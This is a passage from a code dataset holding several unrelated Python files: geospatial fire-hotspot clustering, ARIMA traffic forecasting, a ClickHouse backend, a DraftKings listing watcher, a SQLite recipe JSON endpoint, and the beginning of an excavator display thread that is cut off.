+{"seq_id":"25739063","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nFire Hotspot Analysis\r\n\r\nSPATIAL CLUSTERING ANALYSIS\r\n\r\nClustering data in sight of\r\n    - geographical location\r\n\r\nUsed methods for processing data: \r\n    - extraction of centroids of each polygon and use of point shapes for clustering\r\n    - kmeans clustering with automatized selection of optimal number of clusters based on Average Silhouette method\r\n        - with kmeans clustering, the overall distribution of detected hotspots is visualized\r\n    - dbscan clustering with choice of epsilon based on statistical analysis of distances between the points; set minimum of neighbors (6) \r\n        - with dbscan clustering, dense regions with detected hotspots are highlighted \r\n        - dense regions are defined by a maximal distance between features labelled as neighbors\r\n        - features outside this distance are considered as 'noice' (label -1)\r\n        - as this script only clusters based on geographical information, it does not take into account other attributes of the detections\r\n        - combining it with number of detections, intensity, ... is a further approach which should be pursued\r\n\r\n\r\nOutput\r\nfor each datafile (year/date) \r\n    - Map with clusters \r\n    - GeoPackage of Centroids with label clusters as attributes\r\n    \r\nTextfile with information to each processed cluster   \r\n\r\n@author: Johanna Roll\r\n\"\"\"\r\n#import packages\r\nimport glob\r\nimport os\r\nimport geopandas as gpd\r\nimport pandas as pd\r\nimport numpy as np\r\nimport random\r\nfrom haversine import haversine\r\nfrom shapely.geometry import Point\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom sklearn.metrics import silhouette_score\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.cluster import DBSCAN\r\n\r\nfrom scipy.spatial.distance import pdist\r\n\r\n##############################################################################################\r\n#set datapaths\r\n#directory with all data\r\n#path_data_orig = ('D:\\johanna_roll\\h3_hotspots\\germany_selection\\\\')\r\npath_data_orig = os.path.dirname(os.path.realpath('hotspots_spatial_clustering')) + '\\\\'\r\n#path_data_orig = ('D:\\johanna_roll\\h3_hotspots\\germany_1995_2019\\\\')\r\npath_data = path_data_orig + ('data_clipped\\\\')\r\n\r\n#if no clipped data exists, original data is data\r\nif not os.path.exists(path_data):\r\n    path_data = path_data_orig\r\n\r\n#get paths of all data\r\npath_list = glob.glob(os.path.join(path_data, '*.gpkg'))\r\n\r\n#path to area of interest\r\n#path_area = ('D:\\johanna_roll\\h3_hotspots\\gadm36_DEU_shp\\gadm36_DEU_0.shp')\r\npath_area = glob.glob(os.path.join(path_data_orig, '*.shp'))\r\npath_area = str(path_area[0])\r\n\r\n#directory for outputs\r\npath_out = path_data + ('output\\\\')\r\nif not os.path.exists(path_out):\r\n    os.makedirs(path_out)\r\n    \r\npath_clustering = path_out + ('spatial_clustering\\\\')\r\nif not os.path.exists(path_clustering):\r\n    os.makedirs(path_clustering)\r\n\t\r\npath_centroids = path_clustering + ('centroids_shapefiles\\\\')\r\nif not os.path.exists(path_centroids):\r\n    os.makedirs(path_centroids)\r\n    \r\n##############################################################################################\r\n#function definitions        \r\ndef write_cluster_info (output_file, cluster_labels):\r\n    #number of labelled features\r\n    n_features = len(cluster_labels)\r\n    num_clusters = len(set(cluster_labels))\r\n\r\n    output_file.write('{f} features are assigned to {c} cluster\\n'.format(f=n_features, c=num_clusters))  \r\n    \r\n    labels = np.unique(cluster_labels)\r\n    label_min, label_max = int(labels.min()), int(labels.max())\r\n    \r\n    output_file.write('Features per Cluster:\\n')\r\n    for i in range (label_min, label_max+1):\r\n        count = len(cluster_labels[cluster_labels == i])\r\n        output_file.write('Cluster {l}: {c}\\n'.format(l=i, c=count))        \r\n        \r\n\r\ndef compute_distance_matrix(X):\r\n    distance = pdist(X[:, :2], lambda x, y: haversine(x, y))  \r\n    \r\n    return distance\r\n#############################################################################################\r\n# Setup data dictionary\r\ndata_list = {}\r\n\r\n# Read data\r\nfor path in path_list:\r\n    #get dataname\r\n    data_name = path.split('\\\\')[-1][:-5]\r\n    #read file\r\n    data = gpd.read_file(path)\r\n    data.name = data_name\r\n    #add file to dictionary with respective filename as key\r\n    data_list[data_name] = data\r\n\r\n# Read area of interest\r\narea_shape = gpd.read_file(path_area)\r\n\r\n# Turn off interactive plotting \r\nplt.ioff()\r\n\r\n###########################################################################################\r\n# Prepare metafile \r\nmeta_out = open((path_clustering + 'spatial_clustering_info.txt'), 'w')\r\nmeta_out.write('Spatial Clustering of Fire Hotspot Data - Parameter:\\n')\r\n\r\n\r\n### Iterate over all data and generate clusters\r\nfor date in data_list:\r\n    data = data_list.get(date)\r\n\t# Collect Metainfo\r\n    crs = data.crs\r\n    dataname_split = date.split('_')\r\n    area = dataname_split[0].upper()\r\n    data_date = dataname_split[-1]\t\r\n    \r\n    print('Processing: ', area, data_date)\r\n\t\r\n\t## Prepare data for clustering\r\n\t\r\n\t# Convert polygons to points: Extract centroids from polygons\r\n\t# New GeoDataFrame with columns from original data\r\n    col = data.columns.tolist()\r\n    data_centroids = gpd.GeoDataFrame(columns = col)\r\n    data_centroids.crs = crs\r\n\t# Extract nodes and attribute values of dataframe to new one\r\n    for index, row in data.iterrows():\r\n        for pt in list(row['geometry'].centroid.coords):\r\n            data_centroids = data_centroids.append({'h3index': row['h3index'], 'indexesFound': int(row['indexesFound']), \r\n                                                    'frpMWkm2Avg': float(row['frpMWkm2Avg']), 'tstart': row['tstart'],\r\n                                                    'tend': row['tend'],'geometry': Point(pt) }, ignore_index=True)\r\n\t\r\n\t# Extraction of x y coordinates from geometry of type point\r\n    x = pd.Series(data_centroids['geometry'].apply (lambda p: p.x))\r\n    y = pd.Series(data_centroids['geometry'].apply (lambda p: p.y))\r\n\r\n\t# Stack with coordinates of all features of data \r\n    X = np.column_stack((x, y))   \r\n    \r\n\t# Distance Matrix of all features (insight for selecting epsilon DBSCAN)\r\n    # Coordinates as radians\r\n    distance_matrix_centroids = compute_distance_matrix(np.radians(X))\r\n    \t\r\n    # # Plotting histogram of distances\r\n\t# dist_array = np.asarray(distance_matrix_centroids)\r\n\t# plt.title('Histogram of distance matrix - {d}'.format(d = data_date), pad = 15)\r\n    # sns.distplot(dist_array.ravel(), bins = 70, kde = False)\r\n\t# plt.show()\r\n\r\n\t####################################################################\r\n\t## Clustering\r\n\t# KMeans\r\n\t# Determine optimal number of clusters (Average silhouette method) \r\n    # Measures how well each object lies within its cluster - high average silhouette width indicates a good clustering\r\n    \r\n    # Test number of clusters from range 2 to 15\r\n    silhouette = {}\r\n    \r\n    for n_cluster in range (2,15):\r\n        kmeans = KMeans(n_clusters = n_cluster, init = 'k-means++', random_state = 42)\r\n        y_kmeans = kmeans.fit_predict(X)\r\n        silhouette[n_cluster] = silhouette_score(X, y_kmeans)\r\n        \r\n#    # Plot \r\n#    plt.plot(range(len(silhouette)), list(silhouette.values()),  'bx-')\r\n#    plt.xticks(range(len(silhouette)), list(silhouette.keys()))\r\n#    plt.title('silhouette average - {d}'.format(d = data_date))\r\n#    plt.xlabel('number of clusters')\r\n#    plt.ylabel('silhouette average')\r\n#    plt.savefig((path_clustering + data_date + '_silhouette.png'), dpi = 500)\r\n#    plt.show()\r\n    \r\n    #optimal number of cluster based on this method with highest silhouette score\r\n    best_cluster_n = max(silhouette, key = silhouette.get)\t\r\n    number_cluster_kmeans = best_cluster_n\r\n\r\n\t# init 'k-means++' for speeding up convergence; random state for deterministic randomness for centroid initialization\r\n    kmeans = KMeans (n_clusters = number_cluster_kmeans, init = 'k-means++', random_state = 42, max_iter = 400)\r\n    # Compute cluster centers and predict cluster index for each sample\r\n    y_kmeans = kmeans.fit_predict(X)\r\n\t\r\n\t# Add cluster label to data\r\n    columname_kmeans = 'spatial_cluster_kmeans_n_' + str(number_cluster_kmeans)\r\n    cluster_k = pd.DataFrame(y_kmeans, columns = [columname_kmeans])\r\n    data_centroids = data_centroids.join(cluster_k)\r\n\t\r\n\t# Plot result\r\n\t# Plot cluster with its center\r\n    plt.rcParams['font.family'] = 'Arial'\r\n    fig, ax = plt.subplots(1, figsize=(12,9))\r\n    area_shape.plot(ax = ax, color = 'white', edgecolor='grey', linewidth = 1)\r\n    data_centroids.plot(column = columname_kmeans, ax = ax, cmap = 'Set1', markersize = 7)\r\n    plt.scatter(kmeans.cluster_centers_[:,0], kmeans.cluster_centers_[:,1], s=100, marker='x', \r\n\t\t\t\tc='#111111', label='Centroids')\r\n    plt.suptitle('Detected Hotspots - {a} {y} '.format(a = area, y = data_date), fontsize = 20)\r\n    plt.title('KMEANS Spatial Clustering ({n} Cluster)'.format(n = number_cluster_kmeans), fontsize = 15, pad=15)\r\n    plt.legend()\r\n    ax.set_axis_off()\r\n    plt.savefig((path_clustering + data_date + columname_kmeans + '.png'), dpi = 500)\r\n#    plt.show()\r\n    plt.close(fig)\r\n\t\r\n\t####################################################################\r\n\t# DBSCAN\r\n\t# derive parameters from distance matrix\r\n\t# distances stats - compute mean and standard deviation\r\n    dist_mean = np.mean(distance_matrix_centroids)\r\n    dist_std = np.std(distance_matrix_centroids)\r\n    max_dist = dist_mean+dist_std\r\n\r\n\t# Spatial Clustering\t\r\n    # Maximum distance between two samples to be considered as neighbors\r\n    epsilon = max_dist/6372.\r\n    # Number of samples in neighborhood for a point to be considered as a core point\r\n    min_samp = 6\r\n\t\r\n    db = DBSCAN(eps = epsilon, min_samples = min_samp, algorithm = 'ball_tree', metric = 'haversine').fit(np.radians(X))\r\n\t\t\t\t\t\r\n\t# Add cluster label to dataframe \r\n    y_dbscan = db.labels_\r\n    number_cluster_db = len(set(y_dbscan))\r\n    columname_dbscan = 'spatial_cluster_dbscan_n_' + str(number_cluster_db)\r\n    cluster_db = pd.DataFrame(y_dbscan, columns = [columname_dbscan])\r\n    data_centroids = data_centroids.join(cluster_db)\r\n\t\r\n\t# Plot Cluster\r\n\t# Generate CMAP for all clusters\r\n\t# Cluster -1 (noise) will be set to white\r\n    labels = np.unique (y_dbscan)\r\n    label_col = []\t\r\n    for id in labels:        \r\n        # label -1 indicates noise as identified by DBSCAN\r\n        if id == -1: \r\n            label_col.append('#FFFFFF')\r\n        # Generate random colors for all other labels\r\n        else:\r\n            hex_number = '#'+''.join([random.choice('0123456789ABCDEF') for j in range(6)])    \r\n            if not hex_number == '#FFFFFF':\r\n                label_col.append(hex_number)\r\n\t\t\t\t\r\n\t# Plotting\r\n    plt.rcParams['font.family'] = 'Arial'             \r\n    fig, ax = plt.subplots(1, figsize=(12,9))       \r\n    cmap = plt.matplotlib.colors.ListedColormap(label_col, N=number_cluster_db)                 \r\n\t#centroids.plot(ax = ax, color = 'grey')\r\n    area_shape.plot(ax = ax, color = 'white', edgecolor='grey', linewidth = 1)\r\n    data_centroids.plot(column = columname_dbscan, ax = ax, cmap = cmap, markersize = 5)\r\n    plt.suptitle('Detected Hotspots - {a} {y} '.format(a = area, y = data_date), fontsize = 20)\r\n    plt.title('DBSCAN Spatial Clustering ({n} Cluster - max. Distance: {d} km)'.format(n = number_cluster_db,\r\n              d = round(max_dist, 2)), fontsize = 15, pad=15)\r\n    ax.set_axis_off()\r\n    plt.savefig((path_clustering + data_date + columname_dbscan + '.png'), dpi = 500)\r\n#    plt.show()\r\n    plt.close(fig)\r\n\t\r\n\t##########################################\r\n    # Export generated point shapefile\r\n    data_out_name = path_centroids + '{a}_spatial_clusters_{d}'.format(a = area.lower(), d = data_date) \r\n    data_centroids.to_file((data_out_name + '.gpkg'), driver = 'GPKG')\r\n\r\n\t# Print Metadata \r\n\t# Data Year\r\n\t# Number of Features\r\n\t# Distance Matrix\r\n\t# KMeans: number of clusters, features per cluster\r\n\t# DBSCAN: epsilon, min_samples (fix), number of cluster, features per cluster, noise\r\n    meta_out.write('\\n{a}: {y}\\n'.format(a = area, y = data_date) +\r\n            'Number of Features: {n}\\n'.format(n=len(data_centroids.index)))\r\n          \r\n    # Write info of clustered features\r\n    # Kmeans\r\n    meta_out.write('\\n'+\r\n                   'KMEANS Clustering\\n' +\r\n                   'Maximum of average silhouette: {s} (tested number of cluster: 2-15)\\n'.format(s=best_cluster_n))\r\n    write_cluster_info(meta_out, y_kmeans)\r\n    # DBSCAN\r\n    meta_out.write('\\n'+\r\n                   'DBSCAN Clustering\\n' +\r\n                   'Mean distance of features: {d}\\n'.format(d = round(dist_mean,2))+\r\n                   'Epsilon: {d} km bzw. {e} in radians\\n'.format(d = round(max_dist,2), e = round(epsilon,5)))\r\n    write_cluster_info(meta_out, y_dbscan)\r\n            \r\n    meta_out.write('\\n'+\r\n                   '--------------------------------\\n')\r\n\r\nprint('Spatial Clustering done.')\t","sub_path":"hotspots_spatial_clustering.py","file_name":"hotspots_spatial_clustering.py","file_ext":"py","file_size_in_byte":12939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"253928278","text":"import numpy as np\r\nimport math\r\nimport pandas as pd\r\nimport datetime as dt\r\nfrom datetime import datetime\r\nfrom sklearn.metrics import mean_squared_error\r\nimport math\r\nimport time\r\n\r\nfrom statsmodels.tsa.stattools import adfuller\r\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\r\nfrom statsmodels.tsa.seasonal import seasonal_decompose\r\nfrom statsmodels.tsa.arima_model import ARMA,ARIMA\r\n\r\nfrom commonLib import *\r\nfrom form_file import *\r\nfrom packData import *\r\nfrom http_upload import *\r\n\r\npredict_value_dic = {}\r\n\r\nstate = [30,60,1000]  #idle:less than 30 | mid:30-60 | busy >60\r\n\r\ndef get_dataframe(mac,path):\r\n    with open(path,'r',encoding='utf-8') as f:\r\n        lines = f.readlines()\r\n        nums = []\r\n        dates = []\r\n        for line in lines[1:]:\r\n            arr = line.split('|')\r\n            nums.append(float(arr[1]))\r\n            dates.append(float(arr[0]))\r\n        dates=[dt.datetime.fromtimestamp(ts/1000.0) for ts in dates]\r\n        hours = [datetime(ts.year,ts.month,ts.day,ts.hour) for ts in dates]\r\n        df = pd.DataFrame()\r\n        df['hours'] = hours\r\n        df['nums'] = nums\r\n        ts = df.groupby(['hours']).sum().reset_index()\r\n    return ts\r\n\r\ndef preprocess(mac):\r\n    files = get_history_traffic_path(mac)\r\n    res = pd.DataFrame()\r\n    for file in files:\r\n        ts = get_dataframe(mac,file)\r\n        res = res.append(ts)\r\n    write_history_traffic(mac,res)\r\n    return res\r\n    \r\ndef get_arr_from_df(df):\r\n    nums = df['nums'].values\r\n    nums = [t for t in nums]\r\n    return nums\r\n      \r\ndef get_history_traffic(mac):\r\n    traffic_path = get_temp_history_traffic_path(mac)\r\n    if not os.path.exists(traffic_path):\r\n        return []\r\n    data = pd.read_csv(traffic_path)\r\n    nums = get_arr_from_df(data)\r\n    return nums\r\n    \r\ndef create_model(ts):\r\n    model = ARIMA(ts, order=(1,1,0)) \r\n    result_arma = model.fit(disp = -1)\r\n    return result_arma\r\n    \r\ndef predict(mac):\r\n    # history = get_history_traffic(mac)\r\n    # if len(history)==0:\r\n        # return 0\r\n    current = time.time()*1000\r\n    filepath = get_show_year_traffic_path(current,mac)\r\n    df = get_dataframe(mac,filepath)\r\n    history = get_arr_from_df(df)\r\n\r\n    model = create_model(history)\r\n    p = int(model.forecast()[0][0])\r\n    return p\r\n    \r\ndef get_traffic_in_time(mac, time_interval):\r\n    current = time.time()*1000\r\n    filepath = get_show_year_traffic_path(current,mac)\r\n    trafficnum = 0\r\n    with open(filepath,'r',encoding='utf-8') as f:\r\n        lines = f.readlines()\r\n        lines = lines[1:]\r\n        j = len(lines)-1\r\n        while j>=0:\r\n            arr = lines[j].split('|')\r\n            starttime = float(arr[0])\r\n            if starttime < current - time_interval*1000:\r\n                break\r\n            trafficnum+=int(arr[1])\r\n            j -= 1\r\n    return trafficnum, starttime\r\n    \r\n#one hour after take new prediction   \r\ndef get_predict_value(mac,isPredict = False):\r\n    if isPredict:\r\n        predict_value_dic[mac] = predict(mac)\r\n    if not mac in predict_value_dic:\r\n        predict_value_dic[mac] = predict(mac)\r\n    return predict_value_dic[mac]\r\n    \r\ndef get_state(traffic):\r\n    if traffic < state[0]:\r\n        return 1\r\n    if traffic < state[1]:\r\n        return 2\r\n    if traffic < state[2]:\r\n        return 3\r\n    \r\ndef get_all_predict_traffic(mac,time_interval):\r\n    traffic_predict = get_predict_value(mac)\r\n    cur_traffic,starttime = get_traffic_in_time(mac, time_interval)\r\n    \r\n    future_state = get_state(traffic_predict)\r\n    cur_state = get_state(cur_traffic)\r\n    \r\n    data_arr = pack_predict_data(mac,cur_traffic, traffic_predict, cur_state,future_state,starttime)\r\n    post(predict_traffic_url,data_arr)\r\n    \r\n\r\n\r\n    \r\n    \r\n\r\n    \r\n\r\n\r\n    \r\n    \r\n\r\n","sub_path":"predicttraffic.py","file_name":"predicttraffic.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"222699242","text":"import ibis.config\nfrom ibis.backends.base import BaseBackend\n\nfrom .client import (\n    ClickhouseClient,\n    ClickhouseDatabase,\n    ClickhouseDatabaseTable,\n    ClickhouseQuery,\n    ClickhouseTable,\n)\nfrom .compiler import ClickhouseExprTranslator, ClickhouseQueryBuilder\n\ntry:\n    import lz4  # noqa: F401\n\n    _default_compression = 'lz4'\nexcept ImportError:\n    _default_compression = False\n\n\nclass Backend(BaseBackend):\n    name = 'clickhouse'\n    kind = 'sql'\n    builder = ClickhouseQueryBuilder\n    translator = ClickhouseExprTranslator\n    database_class = ClickhouseDatabase\n    query_class = ClickhouseQuery\n    table_class = ClickhouseDatabaseTable\n    table_expr_class = ClickhouseTable\n\n    def connect(\n        self,\n        host='localhost',\n        port=9000,\n        database='default',\n        user='default',\n        password='',\n        client_name='ibis',\n        compression=_default_compression,\n    ):\n        \"\"\"Create an ClickhouseClient for use with Ibis.\n\n        Parameters\n        ----------\n        host : str, optional\n            Host name of the clickhouse server\n        port : int, optional\n            Clickhouse server's  port\n        database : str, optional\n            Default database when executing queries\n        user : str, optional\n            User to authenticate with\n        password : str, optional\n            Password to authenticate with\n        client_name: str, optional\n            This will appear in clickhouse server logs\n        compression: str, optional\n            Weather or not to use compression.\n            Default is lz4 if installed else False.\n            Possible choices: lz4, lz4hc, quicklz, zstd, True, False\n            True is equivalent to 'lz4'.\n\n        Examples\n        --------\n        >>> import ibis\n        >>> import os\n        >>> clickhouse_host = os.environ.get('IBIS_TEST_CLICKHOUSE_HOST',\n        ...                                  'localhost')\n        >>> clickhouse_port = int(os.environ.get('IBIS_TEST_CLICKHOUSE_PORT',\n        ...                                      9000))\n        >>> client = ibis.clickhouse.connect(\n        ...     host=clickhouse_host,\n        ...     port=clickhouse_port\n        ... )\n        >>> client  # doctest: +ELLIPSIS\n        <ibis.clickhouse.client.ClickhouseClient object at 0x...>\n\n        Returns\n        -------\n        ClickhouseClient\n        \"\"\"\n        client = ClickhouseClient(\n            backend=self,\n            host=host,\n            port=port,\n            database=database,\n            user=user,\n            password=password,\n            client_name=client_name,\n            compression=compression,\n        )\n        return client\n\n    def register_options(self):\n        ibis.config.register_option(\n            'temp_db',\n            '__ibis_tmp',\n            'Database to use for temporary tables, views. functions, etc.',\n        )\n","sub_path":"ibis/backends/clickhouse/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"229594700","text":"'''\nCreated on Jun 26, 2013\n\n@author: jefferson\n'''\nimport os\nimport sys\nos.chdir(\"/tmp\")\n\ndef f():\n    print (len(sys.argv))\n    print  (str(sys.argv))\n    array = sys.argv\n    numberOfEvolutionPairs = array[1]\n    branchNumber = array[2]\n    print ('qtd de evolution Pairs: %s' %numberOfEvolutionPairs)\n    print ('branch Name: %s ' %branchNumber)\n    f= os.popen('ls -l')\n    output = f.read()\n    print(output)\n    \nf()","sub_path":"src/safeEvolution/python/script/listFiles.py","file_name":"listFiles.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"262375905","text":"import requests\n\nfrom send_email import gmail_send_message\n\nACTIVITY_API = 'https://marketplace.draftkings.com/api/activity/v1/transactions'\n\nSEEN_CARDS = set()\n\nWATCH_RULES = []\n\nINACTIVE_FIGHTERS = {\n    'Glover Teixeira': 'Retired',\n    'Tim Elliott': 'Injured',\n    'Jeffery Molina': 'Suspended',\n    'Calvin Kattar': 'Injured',\n    'Shamil Abdurakhimov': 'Cut',\n    'Blagoy Ivanov': 'Bad',\n    'Miesha Tate': 'Might not fight',\n    'Tracy Cortez': 'Not Sure',\n    'Stipe Miocic': 'Might not fight',\n    'Katlyn Cerminara': 'Dont want',\n    'Neil Magny': 'Not Good',\n    'Lina Lansberg': 'Old',\n    'Francis Ngannou': 'Retired',\n}\n\ndef check_activity():\n    transactions = requests.post(ACTIVITY_API, json={\n        \"EventTypes\": [\"Listings\"],\n        \"MerchandiseType\": \"Collectible\",\n        \"CollectionKeys\": [\"8B8F14FB451944ACA580A1E6BCB95CD4\"],\n        \"MinPrice\": 0,\n        \"MaxPrice\": 2200,\n        \"Limit\": 50,\n        \"Cursor\": \"\"\n    }, headers={'Content-Type': 'application/json'})\n\n    for transaction in transactions.json()['transactions']:\n        key = transaction['merchandiseKey']\n        amount = transaction['amount']\n        edition = transaction['editionNumber']\n        if key + str(amount) in SEEN_CARDS:\n            continue\n        SEEN_CARDS.add(key + str(amount))\n        # min_sale, min_list = get_marketplace_data(key)\n\n        name = None\n        for attribute in transaction['attributes']:\n            if attribute['name'] == 'Rarity Tier':\n                rarity = attribute['value']\n            elif attribute['name'] == 'Athlete Name':\n                name = attribute['value']\n            elif attribute['name'] == 'Set Name':\n                set_name = attribute['value']\n        \n        if name in INACTIVE_FIGHTERS.keys():\n            continue\n        \n        for rule in WATCH_RULES:\n            if set_name == rule['set'] and rarity == rule['rarity']:\n                print(f'{name} - {rarity} - ${amount}')\n                gmail_send_message(f'{name} {rarity}#{edition} ${amount}',\n                                    f'https://marketplace.draftkings.com/listings/collectibles/{key}')\n\n\n        if set_name == \"Genesis\":\n            if (rarity == 'Core' and int(amount) < 2.0\n                or rarity == 'Rare' and int(amount) < 12.0\n                or rarity == 'Elite' and int(amount) < 50.0\n                or rarity == 'Legendary' and int(amount) < 190.0\n                or rarity == 'Reignmaker' and int(amount) < 500.0):\n                print(\"Found a potential Genesis card\")\n                print(f'{name} - {rarity} - ${amount}')\n                gmail_send_message(f'{name} {rarity}#{edition} ${amount}',\n                                   f'https://marketplace.draftkings.com/listings/collectibles/{key}')\n\n\ndef get_marketplace_data(merchandise_key):\n    base_marketplace_url = \"https://marketplace.draftkings.com/api/marketplaces\"\n    listings_url = f\"{base_marketplace_url}/v1/listings/collectibles/{merchandise_key}/editions?limit=8&format=json\"\n    sales_url = f\"{base_marketplace_url}/v2/transactions/collectibles/{merchandise_key}/?limit=8&eventTypes=Sales&format=json\"\n\n    listings = requests.get(listings_url, timeout=2).json()\n    sales = requests.get(sales_url, timeout=2).json()\n\n    min_sale = 10000\n    for sale in sales['transactions']:\n        min_sale = min(sale['amount'], min_sale)\n    \n    min_list = 10000\n    for listing in listings['editionListings']:\n        min_list = min(listing['saleListingPrice'], min_list)\n\n    return min_sale, min_list\n\n\nif __name__ == '__main__':\n    check_activity()","sub_path":"api/ufc_activity.py","file_name":"ufc_activity.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"140982540","text":"from pysqlite2 import dbapi2 as sqlite\nimport os\nimport os.path\nimport sys\nfrom mod_python import apache, Cookie\nimport time\nfrom mod_python import apache, Session\nfrom cgi import escape\n\nsql1 = \"\"\"SELECT re.nimi,  re.reseptiID\nFROM Resepti re\norder by re.nimi;\n\"\"\"\n\n\n\n\ndef index(req):\n    con = sqlite.connect( '/nashome3/mailholm/html/data/resepteja')\n    con.text_factory = str\n    con.row_factory = sqlite.Row\n    cur = con.cursor()\n    cur.execute( sql1 )\n    lista = []\n    testpalautus = \"\"\n    for rivi in cur:  #saadaan yksi tietue dict-muodossa\n        for i in rivi.keys(): #käydään tietue läpi\n            lista.append(str(rivi[i]))\n    i=0\n    palautus = \"\"\"{\"\"\"\n    while i<len(lista):\n        palautus += '\"' + lista[i+1] + '\": \"' + lista[i] + '\"'\n        i += 2\n        if i<len(lista):\n            palautus += \",\"\n\n\n    \n    palautus = palautus + \"\"\"}\"\"\"\n    req.content_type = 'application/json; charset=UTF-8'\n    return palautus","sub_path":"Web programming course projects - JavaScript Python XHTML SQL/Week 7 React.js/src/reseptitjson.py","file_name":"reseptitjson.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"322027953","text":"#!/usr/bin/python3\n# coding = utf-8\n\nimport datetime\nimport time\n\nimport cv2 as cv\nimport numpy as np\n\nimport globalvar as gl\nfrom globalvar import my_lock\nfrom globalvar import *\n\nh = 480  # 画布大小\nw = 550\n\nx_min = 0\ny_min = 0\nx_max = 0\ny_max = 0\n\nzoom_x = 0\nzoom_y = 0\ndelta = 5\n\n\ndef point_dist(x1, y1, x2, y2):\n\t\"\"\" 两点间的距离 \"\"\"\n\treturn ((x2 - x1) ** 2 + (y2 - y1) ** 2) ** 0.5\n\n\ndef ExtendHitWid(cPt, sPt, ePt):\n\t\"\"\"\n\t计算高度宽度\n\tcPt：当前点xy\n\tsPt:中线起点的xyh或者xyw\n\tePt:中线终点的xyh或者xyw\n\t\"\"\"\n\t# 当前点到当前直线段起点和终点的距离\n\tcPt2sPtDist = point_dist(cPt[0], cPt[1], sPt[0], sPt[1])\n\tcPt2ePtDist = point_dist(cPt[0], cPt[1], ePt[0], ePt[1])\n\tsPt2ePtDist = point_dist(sPt[0], sPt[1], ePt[0], ePt[1])\n\t# 中线起点终点的直线、当前点与起点的直线、当前点与终点的直线形成的三角形的夹角\n\tcosAlpha = (cPt2ePtDist ** 2 + sPt2ePtDist ** 2 - cPt2sPtDist ** 2) / (2 * cPt2ePtDist * sPt2ePtDist)\n\t# 当前点在x轴（中线）的投影\n\tcPtPrjDist = cPt2ePtDist * cosAlpha\n\t# 起点与终点斜坡的直线斜率\n\tk = (sPt[2] - ePt[2]) / (sPt2ePtDist - 0)\n\t# 当前点的施工高度\n\textendRst = (k * cPtPrjDist) + ePt[2]\n\n\treturn extendRst\n\n\ndef CalDist(x0, y0, x1, y1, x2, y2):\n\t\"\"\"计算点到直线的距离\"\"\"\n\t#  x0,y0 点\n\tA = y1 - y2\n\tB = -(x1 - x2)\n\tC = y1 * (x1 - x2) - x1 * (y1 - y2)\n\treturn abs((A * x0 + B * y0 + C) / (A * A + B * B) ** 0.5)\n\n\ndef SegFun(x1, y1, x2, y2, cx, cy):\n\t\"\"\"判断点与直线的位置关系\"\"\"\n\treturn (y1 - y2) * (cx - x1) - (x1 - x2) * (cy - y1)\n\n\ndef GetCurrentSegID(lx, ly, rx, ry, cx, cy, centX, centY):\n\t\"\"\"获取当前点所处的段数\"\"\"\n\t# lx, ly, rx, ry 边界列表\n\t# cX cY 当前坐标\n\t# centX 中线x坐标\n\tsegID = -20\n\tfor i in range(len(lx) - 1):\n\t\tsymI = SegFun(lx[i], ly[i], rx[i], ry[i], cx, cy)\n\t\tsymI_1 = SegFun(lx[i + 1], ly[i + 1], rx[i + 1], ry[i + 1], cx, cy)\n\t\tif symI * symI_1 <= 0:\n\t\t\tsegID = i\n\t\t\tbreak\n\t\telse:\n\t\t\tpass\n\n\tif segID < -1:\n\t\t# 当前点和中线起点的距离\n\t\tcPt2CetnSptDist = point_dist(cx, cy, centX[0], centY[0])\n\t\t# 当前点和中线终点的距离\n\t\tcPt2CentEptDist = point_dist(cx, cy, centX[-1], centY[-1])\n\t\t# 距离哪条线近\n\t\tif cPt2CetnSptDist < cPt2CentEptDist:\n\t\t\t# 在第1段之前,显示到第一段的距离\n\t\t\tsegID = 0\n\t\telse:\n\t\t\t# 在最后一段之前,显示到最后一段的距离\n\t\t\tsegID = -1\n\n\treturn segID\n\n\ndef WinMaintnFun():\n\timgLft = np.zeros((h, w, 3), np.uint8)\n\timgRit = np.zeros((h, w, 3), np.uint8)\n\tbarNum = 8\n\txBais = 40  # bar平移\n\tdeep = []\n\tzoomDeep = []\n\tabsDeep = []\n\n\t\"\"\" 等待数据准备 \"\"\"\n\twhile True:\n\t\tmy_lock.pMain_calc_win_lock.acquire()\n\t\tcalculate_data_valid_flg = gl.get_value(\"calculate_data_valid_flg\")\n\t\tmy_lock.pMain_calc_win_lock.release()\n\n\t\tmy_lock.pMain_win_main_lock.acquire()\n\t\t_4g_data_dict = gl.get_value(\"_4g_data_dict\")\n\t\tmy_lock.pMain_win_main_lock.release()\n\n\t\tif _4g_data_dict:\n\t\t\t_4g_data_valid_flg = _4g_data_dict[\"_4g_data_valid_flg\"]\n\t\telse:\n\t\t\t_4g_data_valid_flg = False\n\n\t\tif calculate_data_valid_flg and _4g_data_valid_flg:\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"维护线程数据--未准备完成--计算：%s\\t4g:%s\\n\"\n\t\t\t      % (calculate_data_valid_flg, _4g_data_valid_flg))\n\n\t\ttime.sleep(0.1)\n\n\t\"\"\" 正常工作流程 \"\"\"\n\twhile True:\n\t\tprint(\"\\r\\n*************************************** 界面维护线程已启动 ***************************************\\r\\n\")\n\n\t\t# 获取挖斗当前坐标\n\t\tmy_lock.pMain_calc_win_lock.acquire()\n\t\tcurrent_o_x = gl.get_value('o_x') / 1000  # mm\n\t\tcurrent_o_y = gl.get_value('o_y') / 1000\n\t\tcurrent_o_h = gl.get_value(\"o_h\") / 1000\n\t\tmy_lock.pMain_calc_win_lock.release()\n\n\t\t# 获取任务数据\n\t\tmy_lock.pMain_win_main_lock.acquire()\n\t\t_4g_data_dict = 